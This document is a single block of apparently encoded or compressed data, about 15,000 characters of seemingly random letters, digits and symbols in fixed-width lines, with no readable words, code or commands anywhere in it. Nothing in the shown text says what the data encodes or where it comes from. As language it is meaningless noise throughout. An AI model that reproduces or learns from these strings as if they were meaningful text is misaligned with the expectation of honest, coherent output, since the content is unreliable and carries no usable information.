zXxpk4nvtG)LO4%al+I%(o%ehFTsW^s;iWFRDTQnE1Uk~{*tVcNsx3w_qx!RV-epDh zBr^3R2iX%0T|qG0s9xAkm@WqK31P2!)r!oP3Ost#qToiBV=I0FB>>2Fc;bBdo;H6w z7U~^=#FNXDHrMBG+PEh}z!1#*m4Um&cP!frX{(YG8>ogzNaKr1$lT?*W_-rDFv+hDXhp_20p>#7B zO6xI+ojPnEd~ffa#K?4L#@HZh2tYK?97~ZN`8pf4iP1$<+uyKzLBqyO7MXvAQ=+@# z(GgE>dge(C@f$23gY|+`PeEiNB5@$WRkQt=-+KeMV|f&HiB#x7&}rTQ_||wdbYdrO zLEz$uBW#nIIB`;$(EgAnqJS|fZADehGA~)soY@+pZhuIBr>`-39i zRAusCm2*lB2Y!^V=1!CHd7TL31eu)pa3&PN6Aq=`2h}j*JKnG|znmWnlN_V-Uaugc z@-*%h8(ro6(5cGX=d`<~=ZJ!u5@cDJ8OK0%T0tIXx?RqB)p0cHx6CWh%nZ~Ss(os5 zKRtDsfa@4#4zGs4MzHnQ*R7h@Ovzh}4C~pQ0}(h(`iSv@tUjrE)7I zn28Ut>B9;)t(F3TF7msoxjOoGlN2ZaN-;j_vWX*mbNlVYq{3fD8)@1*#o7Q&Q=rs2 zrxbgN8I6O@!I)CEd$Rq&@=Oa6XE)691r5SpSrSa1OhUw(u_k|7v9vT_K2kw3j0BXj zXG7D{P*cJBLo*s0aS7OrRlUXJsadUh4ZR7E^?0>bcH&2b+Uk-F0}TYHU6veN3$o4p z2Yc7v-^Niz`Pcg?HX9R3L6110E!ZKANkeOBl9Hqps8gX>vMpjuMk_Z22%nvE&zzmd zYGu1AuOGxbV()*>+_^Jz_s*UB&Y?SNtkb4#Mu(~{fvDRUp0 z99%kil1_g;yR`4%H5klk<$8l@82_M2P5LVDk3wggCSg?y$CtcTj@|_Ej(n{t&4CaH zH@z%=yOycV$1~n*C9BuXsE!#e^tFk?WYcj95c9BNs^@YZtU*oZ4L40j5Ba&2v98Z& zpgOgWC4*&ag!4FfhBn>TCN+{+dZE0}F%A7bnVo;Gyo{)Z3w}83Fnue$YPmxe z5v7jH2oFPPhh)Yy!%J8{kZen_HZ2>3e{mpBt>RHcFHWu~tdoPS;Io3IP}2B#Nh-9{ z&_b8^y{MmJGMJti`x!e6WgeS6UxUrzDl&&PTr%R4UxbUg?WlGYh=#3HkaW~2DNZ3i zhe>}BHTt{(Sw|9L`>}2KG*t`AQ&!(x@K^;xuO^eTtSWnl|65@Ni;+>4QI0MGu|Im| z?46%EWex}P@7O(@0ZG*}2o&MG%{a7ZPNzG+4Ao_w2LwX&S$on4zeI&NDhrP=cm`c= z#{}m~nSD(uN5c4|iYvOb|6?Yq3FQK%xjlaqG)@rrckm6c3GbTLiu}-9nSxa9b0kZK z>u)I{h+x_V%Zy7kfXheUP3-m|O-p`mnnW8`@r=6FDv=)~#SHiDN>*|=rGjDe#XvnTISJ3Dc`nt2|~mFBZ8#sC>;!)92|5yqoq5Ful zj->ZgtsvC~X2;7GS6UJs_$fTVF@k)QsYeD}7#{W*qKc+p+WK%P=}Nr+rdL@MQ#E#r zSvaA&kgI#)HbB$ND${)kj+`#TcAUKN%w$n6<0MT1UR5>FdCn^WglipVZ<2YV`Z&KD z{(SFoxLbuHv+(BXa}$T$XfhBuYNogGq#@;{pCTnvP>HU#vk`uFU`DSlN@upZ|`a zg<#2{n-+=WN#BkL8f676g76c2r+IczP~vBFm_l!<&$BLzH=IPM?1;|6dxL){umjB+ zq-cF+BDQt3=F;J2O4Z}&pBE^KKQhb-`P|(m!l-eo&ybKx*)f&V@1opdg*%47divz? zryOruUe>qqWdO);?~AaLW-*Y$Qf4e>%oiI?_MEeJ_EJPMB6`M5?_FP)+z9G*6%bk{ zmQVJcK74?R0(%diIXS01H;e$hv!I0NAFJ-jxHT5xwI5T z)lOGi=KxJ7QH^KKO{IH1*pB^i6MJ!!ZR<^;jzs&DiMxI?Rr`PQM_+)y3>3nBSBjk8 zbbPOm4*ihClKW_!+%o+|aCyiu=bx8D%5%D*MN2dW)k|GvTQ90O12V16PagjK%TJLs zWNW9D+ksC_VGPz`H zJ6xTN*x0UNnb?x@ofNljI1uA0)nFm^FK~YBhtE|v^@8mA8P9phu`cmQoZQd^Xhzy~ z5hHa9DV0%Ue9EZlzn{iSAIpfmBIIntgW2!4MG3)tyILQ;IEt_MK@9QKlv zQ4$@K0XD+;Kg|37&?bJpNPVt6ZIf>?bgOC6B?_BnLwzKi>PRQCXAW|)U_jH7m)*&U`Wo%(-k}}Emesu|RvBHu zgjX_I0cC&02zNFj1L^GO9JthSe3m;IRL`&Q$>56N9Jp+(ZoCg3QdhTCV9U~7{zV@* zIg1128LK!{3JsJC7ZbeX6D{ntjI9n?%|zN|U_h`!C^nit*yJIl3UGM)f%le)qj}>Y z@}RGxPaXI#?bTKSL-H=PWvFa4MjIbdJBuRsNx6S^mX%$@NhhXTTHO-8@SR1s;eyu+ z@e1k)m8r}4hhINYLDY{QAH%E_sLgGa22K1An=D*GEpnY@D}63$IvwI#b4mj)c4@5? z@)=ckvyr00EnJNEnc#I+Lg>K<7}Ct{{`|?)=XsB8Sp&`wAosJTe6KsYLOW%qlgd1zbJE*m<|&_anTrT!^Irk4IAU zO~$4PAuR{+qNK{@88Af60U4}}P@%T!*hqh#b!eDG`7@>9+f_JjuNN+e(BGY!g=`$+ zbp<%AKF;@3m#9`9C6AlTRdqMjgc`0 z0o?Jl>x5zx6^e2|V+FXG4~8GHrjIkfNQW37o?(W(s~LolBtn@s)Pkfc=1cVN*1 zdNn`%!x@S5kcMbZ;QeX3RLK|?gwf@Okx{iT_7GE(zrV;+Ilw(OtD)HAxknx=rBF_} z{CNf;9f6_V8nhU3H99aU7o){lOGDy>I1J{uKfZMF5@zs&t}-1#69#^6U<4r6oz!9)>-r2*Pu_ zo0}kte|%U9O^EnI``qhE!M{-20b3jP&0U^k0tnrC8Lpy|rH=uQ>QLTxML47UbiCv0(JX-YYC)dlD$X%&BSr6H@m*JCXf zS&K-E7)9BBLaGE{Bi=v=wa=dgTgK`#Wmy?5ZEznjYcL9gjE+k53?_91S7cg24!z z7%K#%T6(UFO>P$(u7_@JTEVb#U72#GGpan;He7o0HonoIRC9mwV#j@5Tn zZN8Abk7g!S9)SD*LN+g3N~W(e9|K|>Eo!T5@K+>sCA<;UaiL4JIj15{x{c~&_htXW zIPxF^MR5XzyT(f)B65XWAl-h?GO2y}Z1>ZL_*LM^bxYBsF-7E3qJ}6ITxA9!9D$`i z2^2;{IbkS=eno%tI^dPYEo2B(zz`+pIN&HCB<+z5HMJa1jDWV83k+LE?676&r&_G6 zRLk%Kn}UVCO`Ja()?TjA%xkc1A|6FQx(CJ3F2fF8#6t>Z$1vE{) zf0(W=Co^f%@ zP;Z3@s;7j7P=h5HjIUo~lp2W*po7`H8LC3e!VFo5kDr$xjsS&iDRkFCQ7e)JyRi+0 znT;q+){mwTC-U4l=UOchWwv3b9XR!|9pY?RG;M!%K@WRzeyL_Q60J`^-<4aC$02qh zB_iw<`KgQ8Wx;+^+SyU|kBymLb zjn;LSZsoR%e0t-1y?kJ7$Rr4N!~#v!-Rc98U%A4_L#hV_I`*Udix}|WRaGF3^^nMn z$hm*y4ww}5iEYsY8F|E8A34wyfw;0{V3puulgVn;#?iMR5`0^c^CbO?GI&yKap*`EyHm8~?lYF_0SBIUEWl6wpV! zc~U;G@w)+mFl+~Rm#WkiOT!qnv)GVRxmJG~dy8D(qNP!R&MJ+<%LTI5K&xvqpd7Lk znoD;PURLGU!h0P!-1U4{$$s;=II_lvo1XX9C^Y@TNH8}y>%5+s4bZ43C{Ew>D3Jc{ zcaI(wi7!A=s}iXys_GCbL|zXowT(aU-wn0tsg3+WVqh1St27uJs8e|*4646fr&E8F zx-6P(&nw}p&9N&*5(H9+CR6*jwMl~hJ$|xT{_BO|J2o{oY$4r^a}xGXiqr9aoop7|nv2x&YHRY`G0vE+Z{W*43U zM2JaCBN}C+7#%3H%-J~)uTcKGfI`;@yKsE5nvK2+pL#}K`RY~adMgf}RXInYruJwY z#~mc~yqP#fDDi!1A6CdHSfrH#JQb>%L%0JKJ+&<2BI#K*mcAvH5*sn1croUbCk&*t z;Nw?5bAiN_=q!prDmkJ?<2`>@{iv_UqGEvKbDXF~O%f7pnKRL8zw+DQIDz&<8Qqg8 z*>E}ap${u%NrQDn>?mCzwdDBtf=s&Y5LFO@k%K%#qYBrI2#^@}s5YR{Kp4p^Cf8BlnSG0> zpbJQxGb+R|vRoL;t0jNl+|>0t68%EZw7i#d(&)?=dKfz{Zz27_?2|e5+!O~nnneCL z{_d0I63dl3Rm9>rXemaePeEE15pu|Ep5=jw)wVniHMz|V=j`{Cw%FN*@nAlS%90Ie zA~$@*>AC5<=9w5lo|e>10D~!a;eob4Sv-l{=pJtc;TL^@6y1MJmtenZ7BVx1!BQa; zad>gOczzK~>fsQ*YRC(!eAm&+HmV1zzn?;?AlKll4tC^OloNj$ESMh&TW|+uQ7OBX z)O~~xP=%Aj>Z&L=Nz>>da*E<^tA|gRtr-M-Y3Ek(oFF~lg=J6RbO)@>ykmC@WQbM`rM>gbvx`;EV+Kh z3%gnUEP5Gos{v8-N7(UyA0Qmpxtn*BXD;5O%VFBj@g2M(BYU=lG7^TO5{Kp8gVPUg z|Md3#64m#S?BeywxBU@PW4yX2ikp^6^pyDs_A{lpCpgHfKcMRAn4Ob zmfpg%5I9YS+^UrvYdQK1A)eS2SEDTdAvHHc)M=r=C+kJ1o|d!;O1I+Au;E2GMVMG{@)d66{?A|X^xe`q8p)et};(LLUuvKu|r+G2D|wMItGTW_XPH9Y+= zgcR>J6NZ1*v9`XP7&~T7Zvczt0W#egRVY#Xa%`Yw9gd8tAedbqxYc9b2zgP@CnbGA zh=j~m`(UX;VwwD`cV_?IKcAi-SOOWyM@Lj6)xP_YnH3ni12a230%_!z&&`6z49QJ2u%in}YEtly2tfOZW6-9z}TB>SnEI7yct_ zR!@IJ63IYkhTgTF|L0_8Z)fQj`G5qi}qd^L|C#`xdzr_ymB) zSKHv%4gfxqQylYv$>#aHyj~6SDvGMRKcmwY<$5kJKrAM49tdus9OUVIqf=Mc3DE(j z83Jqf3qaBO?2wK^#8reh=FTB|j)n>?rGI}9APG%HjqjVR(RWT!{n>=8ylaA;+M;XQ z9q^oWCl1^VmjLm#pt#&YzvUcj67N4}t6OKcVkV);lUxDNbH7M7zR<>p%C$O)c;{7P z>};`fr2=@>hjXRIB;>0CZgtH=eHj!LDtE^NniGXsNu3{6X<~%3dPstPxqyQWjRk+F zRQ$SKA2DYrz2|k)Z20+~se|zU`g7I#5BX)0aG)9RWRL`mr1!OD4X3{rWWmxlX1pP3ytLeAe)d2C&R=bYUGM zW%~WJU6#&XmJW-dk&_s`Q8)>nV@f(v%ahF*%$^Bj(0k+N@^avo@ochmjxv8)yTV!% zaaU^5G{GwrIGPI&`6o4-b522)X&9Fd(1y>Tc!5>RYHbi0}^tWo|g zCPHU!h)z=lPXlGACo22VEEIp^par){xM{LfHO}DQfgL`c7lMfGC?4ZF2EC^q^+VHV zQw#bmu&XNXP<(0`%qL?#>Q+)zm2bMR_2wQwnfcVUTBOI8H02jq1C=%XL=qi3+`g4t z$C8T{8pD9MXTua)pgVSBh6MGdvhRjz6<=5uumj<>9j_%iS!EL0`Ky1e<6Ou6&>w0Q z5V;3Hd`J%*a~WFh9rj3kYscFAgn}Y2(7&CFf%RN)Wt*tPkokwn+4kSDr?WObOC=fhvb@8-AV~q zGB;NW64z)92h*gDMc#kYskxtrj4^TSmCR|u?gDf{9>lhAJAfp*Ai7L;-*8u^SU8b^ zQ6V4hBV}*TioWoSC2)tBLtKSTRm@2^6ECVesGq4b39hQhc9(|@J-YFKt{a&TU@lzC z5K_Y)zp`q)6Wb6PS6J^=t~)B|s>%&tef1UElCijU&wNM4%A8ouj=1yzjs$jL%a3nwamq8Is;q~x^XCzh#!oUF%8(F*geY-_G1_GLs>7bfC9 zPjC;fmn$PB;cPBeZCzOSLQtnOS0kgJBEmQ|7G3XIacF-=VLbTJkGP#W$m^iGS^QE? zsYy>1-wz zGMav3&cc70+NR~J5$&2!Gy8GQ$}E%IrL&sV#7s0@E2>`UZhrawFE!Es;2nN0x&M81 zXX}pL|L%Nn=f^1gcN_P=4?q0ygZKBpf5*@DYqSH>!Pi{(HlNW!dpjSV=b=zg1TTFOmx;J6yK!+q2G2-t_1#VP4C73jV{;%FMa%K+eo?*OFFM=#<~4r%N55v;% zdDd7$8Y|NH+-3<3ze{0f3~}QNGgetB;Ac$2(SG*)lfB2?{O0j^Q3Byj!X7T?81}}~ z$^j zEgQh5FtCnnEoii<)3pYawts(<0Uy|JexBCj;MDME@wq?!X;7rV3Yh9hTpE9?y*Vwv z7%>jyXS}bsttMO-ioagb>3G^2&xgideZ*{=HL}~Syw$D7>~ykxLlf~pL0Gc7#57u1 z_#pYdiP*0!Q7D}QMH}SgBFYT!fSVze-@RKreDVnMd_Ir9PZo#7-&_}c#nG~4&(0~e zZkzw)qVnfk-+XV@3&qOgPa=N{kJs)2z5N)W&~whB6K@j_RnAsZ?kd(3UGOTKT!te{ z)Zrot1p~IQo+n!E5$hQWB+4A8FawYv&V%Gx$3$v`yv=-`_t^f-kBUVpSD$7Eex9}>q6q7$PKGEi~nzoIqc0uFv zV!Ekcb_7^Ol2@E}+jXmRgUz|qB~bYche*~q+Ph(f?kwtQ#C=+dhpg|(->lYY_T}R> z8>B5d4;Emq$G?7?G-7|_Mgg67+N!?xh4f!RP=ueHZ{p4I6-1~!Rp4sYu4 zH-~rF3ZXcr3u`D3tUl||52QgPQ@n(*;=+03CKI2QaSTY_X6o503_SUuncY&=EXgH` zGij{BKSB=Y*ukx1D_}!$=BZZ~5wQp!dMF4~Rnx{rZ-@_td5wSP4lRslQv{kxEcYwM zfpYI1_DDkr?9VT1@{Hft%|LDAMkP1^~Km7cQOy7gJ9{4p~d82gobvEjY zX@{g%%PjbEmW^MK+OB*OmR`DAN0zeisqEz4hp8**Kya(0$9i9I$l(;uGOFz55C9G#rmI*Zr{26;SaWMe{k#0k3YgcADaDt>%IQx-}4je zf1qhW9cSwGw_#46!k{qAbLeb7+`e;rd+Q_Walk|)bq)IXLPn~Y^GQFgW!a}iC4Xv7 zN~lc8Z4{DW!T|sRO2~jjtuhobS64LEtzXnA}u0f%>95_a!(nSKp22vE-QyJvQ*9K$Om zng?)%3xR*JowO>H{5C*AW!5U)tzZNw;ZhvhtU^G&QX^@`;Y1*QPR&F$5e4xvvmRAA zXsv&!FY63w7yqCgjI)pr%gNb@IT_+n12UuhE^8@`g^7MDNyisj3O#n42UH+dB@KI} z=`JDR^DkU1?VQmJ(dIsFhBuy=tqN;u)^heI_bNljvbiHYhS1S#0;XUpg_1Ug-s9%p zOb-RUvwciUdgJRdF$VuZp!`Pf0m@H~PFR02XBmPKxF(wCVnBw*6EL?Ha8Tl+o&0)>Q(}Jpm2xcrR@|?GDT|N>gy)2B21=0bHfn#W zN|E2{+?dZ~Y&9J&XL~ZjzE|EVm;ivhd=rjFP<3K3VeG&+`}YUlVsbdcToQwbf6gF+ zZ|*C6z^Na1f73+_qP;HiaKidm`|h1A8;HK}))ILafxWgj2c4Y_Qle4;Ge>tWzMzy@ zo1<@m*xlXV+(TO~nO$^M+J+vHx)*=4wY%-?R@mQXXQu=m?3X_pbPb+IBARa3+E#NO z7|Al0q~STtV5(E_6wY?c>CKWA zP<-~mB;VOK`p+|tuCGcy_)pVlLMjO;?`} zC3e@|*Fp!~9-Sdg!1);^PM!eYiLRqr@X5*dnCGJClJIaIAI8^j2lXQQelhg^L; z5J9&{W%t`AyQME>eBg`R($tZ?|ety(j|NcwV$ zSwPdMhL!%h!v2QB#P-F zD9WnBsF;QFqU6iv8{No_N4vir ze)ez|gAG65d;DwC)WEbnEs{c3jWrPoD37u2!LI^DFheb^FIVGEi&U zAoyGP*PEL!wtdnj+c(=5cS{l#<=1iwhg!M|1O%-5(L8_HVN0Lev|V;8dbsXnMdfcK zH__toIaX2SICxr@CpfUGB=fov1YMC5z$@Q32E-ZtvD=?r?63vRAMl*O#+Xgvj0T7W z!&9c^DF$Lu^C%6VnByB)15@=70Pgj%uTM&b4L~6&C;uq=UoZ!K>j*ToWY*c8f|?P;@ZBB`tQM<60ttNt}PJS}J+DNdyq@GThCl zhwUr01S@H^D(Iti(3PKQ=u{-dTf)bhT&Zz7#-o3AV?cZ5lvakn;9uHMptaD4YhX*y zb}`;+RLA#h9n7E|3ve%On8IGHgI&3o1jrXQtHa$}3pdUV6|M7?8Ye?MT|?6le34{e zA!Sw3u@OMsS86NJWi#lSBCF$Yze-EN9j}3_14oN-QIj2KRha=Y>WwSG1M0`&NTaZ- zyi0#z&yYAm=8H1*tsyCxfeC(sMyJi$oSlJXc&|~8eZ%^*q*^T|8Tzr-pDl1 zGZylckvKAS_=^M)t%ke?rHynp0gpZq@qAGzd_{qsb;>G%Sj>_~_gWvneqGMfAWZ@u zUo{GEdh^|-wq!$gJNba0JD85(~YZtSDnu{$KyQ3gFc+;yqeCCtza5mI)m z+$6=WSJN{SR_x!Qo@2)$$$i60k{`ri5O>2H98M;w5!&t&rN3#ryJN38I}Bq0DH#vZijAb=N($S7KxW z(K9a@9i71bWmaNWRhVL-+BX9;0#tvmz9UOv?c&W3Jd0zB|I)Aktm-pm; zdDD9k4e<) zgQFeSC>=+v9zbnd_rtaVRI-H*3CJmp{X<72ZYj|C?M|*|t|wEaWN$Cu1ye9KZGm2W zm-Q#8mBrVK)s@$aE3CUUd)I$Ox4!Sb`M7!Ix8+x^VE7Y}lAN00y6Rt}4YW;o4-+}m^ zUx5Si&L6||Vh1wb$O4Z0xrwwqHoe0!ZRS)7Pt7%9lW#o{Ps^G%F9&~sc9P2*)(umn z9WBr!uJlxgg(1vDZ7M_ggHD-Lx10wRTSX#i&ziz92&?&i+K@xn@V$1;&P3@M)9RA+ z!_hICEZC?^TU%DFO{XACJ~u27|>L*IYZ6v~)ycuLuLBugdZ z$%#~`wn7eIu_wS0Q;lt*fP;4UN2uT%c@qiDpbvB=i6GVe3L=`D2#>24>Ow?cC1XKk z+oeq?Vj!HK)om`d97sL@wpC*r^x{y6hwaDdh(_fL*@;lPoR?Uue=j4k5y3q^NAV+A zioG><;Br!d$0~p0HMPExZ)41Eg!sRj*Q_4N@qPy`6P{hpW7t!}q4uq#hGu$dKl$=G6gf3Z(dK3! zv`%-7B#=<#8r8+k8+%rk{&=9h$BpAmXYV-7bmm8KsgQr#cNw~Tui8zwxO{$~7@D6K_CX4O!8cV0`_kL}o1MXQ!zqGB$D?a*<8Q1}4_?oo{Hn|P z7a=4(^7teUAIrf^PpOPPo}Ue8P&02uB6?_n`MGhR8#Co(`vyG%30~Hf6{Ax(jKE0U z{Q53V@oTM42XeUoN9V#%2`u( z8>3hY#q6t5SF(|F0)e>_Dsg}?T0Nn0)Xe6L3lKq@AIkJV9x0fgZ1hIp0pEZ`&y;6f zz)*h`Yk-j9Q>kxAyiw@}^MCqQAQTH0O}Hz6H)S5+Q72FTmlGCDRK9HU^Z*D>ODafA zUforsZn~6jCrgd6pSC(UY5_*5GNkz_tWQMhx@^Na4}kaYY|_5U|~AmwfX%R4?)GC-g+Yf|c9rx#9-p?G6RbyqcYp zbru!GzibO=V&oNKI!rzSP_5OosP7gQG~;rP$~eE{BT6OI(c!~d=jHKOa8QznnMo@P z6wh>B#AYbCdXr`_WHtCFQ%P>P3n%gn_;5)QrJe(OWsT~SdMIWKsMF#qMI(GQA~I7I zy!Gj+wfp5f7h>s5&9Rh+W-WV?H7|XcM)y)B?(YPIyIG;b7oDc`{ZPDIA+gdnp@Ol_ ziY+GdlTT}$199G&=oyf#54&TQ)XKF%zWjUw2YOe@8MYEe*>pQef|@5_*L!7gY2Wpy z7m0vi{L(>%MtT{d-(Gd?1`iDVD^%Ge%PsXeG}gWO?GW9q|F)PK=;cE{_kJonZ6n2t zsQmnXoJ!PMP{?jnWV9=qLXlpS6Nr?G^s|3Z8%5;>wD(eli7e~eW?M4#HNk4QW?D9B%Z;Ps>;is#$%?jcNE6J7{Kt*P}?HBYt8HdJks2ZGuU9LD{ zQQ1w8f{tQ#hYXH05^+m^L=py)F-01n?JMqQLu7&040;>d2soQWK}r5DhE_|ItfFmv zHPlZ6LAYd`3EuMyAy?DT_U`d`iDrAbX>rJw%y6j@(l#8IKAtk?Act3q#KuD9MisK{ zbi)EEiRTNFvc>!l@`<0a>6B=tP$pfNa%Zn8acQbE8pf$TNO&rAHT2}2?*TT@vorf% zau%u8rs-~^ws=#8J z+1!HDy>O}v&9{+0&$669qmN1A?DwW#L0Yb}ZN`UJEfpQ#Ut)wUPW-&MWB3f7k5OUqiYl<@>iH`Y{ zm6@IZ7fh6B8|gj&Y|@-R>rhFzBG*Kes7}n{o4V-j_Bcitsd1&l?xjCFz0j|7_qPak z|I|k81>Kx4hZ)(VjHhbgBv-HE*ik!b)d7R}WiyXNCvXfZ%_G{Kl^Q$|g2NpfV2Ov7S) z@Zl&5o!kT~rxuo7^+ez2@BYu%vv=Ivq27~7O|?_oF!Bvut5`|k5;l(XM;isRQBQPv zP~pBeoj-y{g0c9|x6sDUyvkavb^mJkA%jI#z3~do!wTGV^j)^xj;*%9SqN`pcymE< zItXVfuDJY8=zY&N)f633YTGPpht0^kfv|NYlCG-#gGf1bjJgEUFVg#80hk3@4GKO> z)fsaE3lHR89w@OutPA6=s;Fj3++R+8+K2GlKX=^|0NgQ$l^}P)3zSBTWrv3`dM|e8 zMr?wq#3`=S@`+j*xUAiVOd+W}I4TIE{k8~=0%|12vpcOk#xKWbyp@!9y1D*2)A=i1 zkkos*a5r|459kB;OyB@auG z0$M#9kHufh8?mxwQn$3C?larB`@$Qx!4n|1ZEF*iHw z-%uPS(>%%&eW&^zev#i8ns9a3NhV5f`$M29AaWGeMrCu3<>`H76gupqAzW|Xx0CMo z$VA*AuImZ_A>EgUAi4heuJeme>aLXj5Y@u+h~ey!ZFn)LUSI7DFdBq~KhW%F-O~9R zm>Q0SeMJuAE#(_QF~>Z7V{9aUU{JER=1u#RgX%V>S!(Cp#AWG~-Zf=V*~ej>R4I?8E_dy#;iCO^-z(|isGqG`4xlC`sh?>C;JLY`KWw?$tCR7$bM;0pFg)a} zRFdq;-gDKq19u^KXYk#P_U$Qonyp-^3=acntFfxO;pRIC+AX9hvbO3s?xU5ig#)4v zJO%5!Ch9ytuk_A=FFSi)CZqeT_o3Bq!(a~jxy%og{?M6Dc|;jf{(mg|vEJ^A_A&dH z?p1n$_mbM^h!3XXRLtCfRb5H~vCcd*uUg#<+81M4di>0KybqT_oZQv+~rOi(>(=cAvZ*mTSMa~&#N&4bo+)K7h z*P0D?=*E;Bm9e_!btZCfg+?EZ)D%$TEmT$`D;j=te(Xl zDDDlIiqKiDo){AK?bVQiFR9@u^I^ic|8WU2A$brm`W>5HD?B{b=RhnKWbn$9Sfgk9 zs(f{BggwUV`5(9Hd{RuR{~r1xMK5bXet;6VV+Qvu&B0WoCZ0080U5FNbgKmE6jTLezf(3`d%IC|D14?5)?F-- zWZ$<>x4X#Eh_vZsT05o{944RjEy$e9lGK%O4Q+maTi~gCQpu~aF73SS;SAGY+E$@! z0NN;Ht&0Wr=}i`^aEdWvK*-X*dEnqiI(pu5we>?sNXWtQU8JBw=Sw#4CGIXiT#Ee@%VEB6aQ5ZyQK>ngkV)6 z#touI`;sFf;0Si(ff;^l!xf^#0fgw(1g|h#P9ws{B;udi^|mbyt6rocw_aRf( zmO(GU^iL)I6o(hXf*Vzr7JHZWYIHvyWH4?8VI(594MF67Q>E(}wG@7A2289ovJ|UrQF0^dkFSaFV`#E>F?5InR}UD) zfM+X)N!*b!Wd%rLUI!T@z>?3B`|=y}Mg0`0#XnHTcPxnui=JrSD|$Hh|HZZV6^@z$A5}`(uQ<~ zLGt3bCXij%OR-n3VzE*{SFv*q6XZ$}9tQ(H*yuunID^1fM*6z1 zCuVdmlIQ!D;c0tYqiZXvT~AwR|Gz%$04lpO%MLWq7>0!CXU0}Ez8ZhTiGZ}0n{PSN zD3zNRL8fp~8Dj&B5@ATP(ccZ0@?1-*F)9=o{=rszmawft0i&IZW2VYufsyI&-JSlS z(@lPL+|f10^a&JkBd2~fehG^=|N2uJnwK-StxA!k7?A_`nIboDBxx z<)KG{#(lb*SY8Z4(vq91c<*NFYkA%yyeqX5=v#~`pqiL(CF&!28^&D9jPPau=>Kf_ z0e_z3Dlq9}2(-?WxrT=y8f0*g2Jsx@A4dC1)Gf@3_T&(Qp~o$g_52atY(RMrHsesn zgg?+kSkoX^Gi>g6dGuHRk3s46s$u0C@mo$yc?paP&5Uy_Q!KxS_z^Vp$Vl#PBx z*}8JLXNsFBG+XVfO1mQ#uJvy8{&fGxKz~FyKk3Xy1hC0@9ovZMd#R!ajp1Xv#b8=! zx8POd9lfj8DsS~2T|=3IdsNuIY;jFUFsxctd@ zbnklS0j?V6zID7>dHTN`Iy)MuJwC-@1MAyY-a(72%=ae1A<^arvk=j>Uz#y9M{4%( z8HLyH#o)i!8%$^E9}q3~b>5&ldbfRD-TT==I^s-34-yKPv6Hu{CpmX6!8SHO{6V~# zgNMY_BZ!lWC^;f3?zgC9*4urn81bWMBokSmfwkEK9DBoGFTR@7hrbG-Jz2pJEZxxL za+hjpXz2M7WWqN@kWM*U za~e(1J4;On$jT$Caw$wQ=rxw59y&daYCaXsxOqx+`iOViN+VnJE6nb5mmN57drYwn zKug7kEO9D(xWm|rhsF>yRJbA$!OFhdB^J2(+XT2=$i)&z^~&sg$V!Oqj3UE&G_NPy z&+jwK7plzmweOut)i}|?$@3Xxf7B>ZQO#HQ=TF8>k(qChncP4mX{t-Y`_Qn5S}C`5 z+tiqv?$A^glH(64z3am5Geen*=J^oHfy<;Y@GpAKpj$D2cGKXSMQhkmrC{He-llFx z0{E^hn&d0WN{fg`Ie9!#RokXyeYLD4Gw&M+SGZ<6s)yOpyZOSZkgVow%9S*ira*=S zJCxu%|1&q1dU$_0js4YeYtmpAA&F&BCb|Tf-?|c3pzas$gb!^$EF{yHHRkhXfhz%Q zL?WtYuvfWe*=U4$D9H#!cDveSK<*-{k+%cizjzm4I?o?Kg!WpHxwPa4KL1XRA`_K6 zSu;_(?~K5v8Tpf65Hh&8dK;eX5Y69M}wfnp+ZQx!sj z1j|uNft3`hIGgL+-Qm$Z1$Qq3DLO3d>)ziv-7N#leEJEP>MJbmR@c^?GgJH0K}&%< z4=8MsnZ1k-!`9Ob)u*NOjIfh=lV6*1qua_wwAyZz|oo3sgt4tTv0E&pf3_8ntUYOK&WF`C~a zWv+a($srJkNXd2lm(Bo_xT38BpXWgd#VfW8P?b8GBMJRlA z_SIMa_15=!_4eBTKU@fRf7TxXGezA?h41%)s5?)R!OV1E1d%47CaH>_eK6O;E8TS~ zRxEpK;xLh7IM|RM%p^o0HzLk^ zpmPvtk{EOTS15fiUQSQbjVB}`-u<6>-p<}uZBv)im%oRVg3YN18qs%v6M` z2epaNzxA%bUOO*T$NtCL5`KQ~`ZBhEq`Q$WG`|0Wr^fogw?xZM;5xb5_5lGcokT!z z*uZ}K`k*fGJk}X%X*6=H*6#f6C8Ps5WX|H-E>uyg!^rN+_wkv~WBuTyCUQ-I-EcY8 znJcg#qV_J%RPgh6w-?_xl5`E>F*6*|m{=zXlaJ3X@rm~uobVXMf~ztE)f~`W@}_pK zsC-|>*#mbm-qpm&5lls>PlMq)-H-{X=BkWYNPyM(er$e%gxR=Qm`|sKt_=YwK$yE} z$K-@*JN~AX3)r>2jAk`wC)^0ZsBqW7Jmr)RZYX5_j+h6L?$W4yuD^;ImbvM9Wa=3x zEB-$HKpBl#h*AyBExYY%_I>yG$2#5ZW_GE)LOIfQBAfI;V%afi;^}+G-Yvw^X(iN_ zl}?62l}Ih6P|#8ieL9k){!t<@f|0JCOj_bRqGVp?$H3ntyM7R7<&rOR2f`Y!BoltV z;^!)RDcJG*!Of*)Q8ax-x)Eh2j0%z|P{~Htcc_w3&0w0)4JP;~Ms!M~xZWv|AkI~E z*itSBFAYi}2REGUb;yNA089lj;Kh2zM`ye&&hjlCEm9Une zD*LEwM$T+ihd;h<$1dX-P9Z7y#mPbU10Rv5YCzGz=qBUbl$255n-JU)@ z*ALJ3_ard-O4ctKEf`f`oP}pAIs0S65r(f)rUEaZi-N5px66zTOK34?UcoZfE)7Ow z?Y=P;wBXVfqHoq(8=ZWA3J4|gm;FvZk&>wskX3|*$K|-Gh+3`zEyr(`7d#JsXs)%HKu+d8XD5WaCfeSc zImgj)C4L~lK-cG3btu!a#>m^)z#;zQjDkOk(AZUoLj94W6;{^sFSUa?Z`LjDr&qP? zDZd-A1Ef9Be}%pK>6er(vE&p=C$<4nG)RSnT9@9Z@G}DY zo{i`0>262lRj{38`dnO5Lq0xB4&-KY+t5i#-FO!ly{na$c`Poe&1#U}Mqzb>{5+f2 zT8d>rvT)nv=nO1s!#|j*eSf?os-{-Fl<^J*Z-{JHaL<-S(xuIm`eiz%NNF+Y%mCen z>L@KW9(7@e#n`*E5|+NsKi**&mA?vTsKI)f$`=nET;26HYKu9NGn6aoH+WA70=}g&`!doUKP$4l;K7 zzz|*EGi9yr{WIbO92G_QEy(1XmNdGbnZ~=*hvr3p z!fgDgn6iPCzcJ(9NZq-74I;JbHwv@EGIq>l-M);?upj0|QMJ3P@)!^q#NOx{f(t#u0@2P)nNvdv{h93 zRuA(S=a)I(zh1G{v0s9MocMv&Y~MQ+?WL*bUDHNqL}3U_)h@TyJ*I+6i8ZPglBW&g z!UnK9YzA=7bk}IUHTM~bDv8B(ySmHqAwF)IP@nS#>_{lOyQuDQqLGdB+qi)M-rjbj 